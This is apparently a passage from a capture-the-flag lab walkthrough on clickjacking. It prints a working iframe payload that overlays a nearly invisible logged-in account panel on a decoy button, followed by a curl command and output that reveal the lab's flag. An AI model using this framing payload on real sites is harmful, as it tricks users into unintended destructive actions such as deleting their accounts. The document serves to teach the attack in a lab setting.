Tricking the click
The attack loads the real, logged-in page in an iframe, makes it almost invisible, and lines a tempting decoy up underneath the dangerous button. The victim thinks they're clicking “Claim prize” but really click “Delete my account” on the framed page:
<iframe src="http://target/app/panel" style="opacity:0.02;position:absolute;top:0;left:0;width:500px;height:400px"></iframe>
Because the victim's browser sends their cookies to the framed page, the hidden action runs as them. The panel even carries a marker in its HTML we can read directly:
curl -s http://127.0.0.1:8080/app/panelIn the terminal
student@vulntech:~$ curl -s http://127.0.0.1:8080/app/panel <!doctype html><title>Account panel</title><h1>Account panel</h1><button>Delete my account</button><!-- vulntech{no_frame_options_means_clickjacking} -->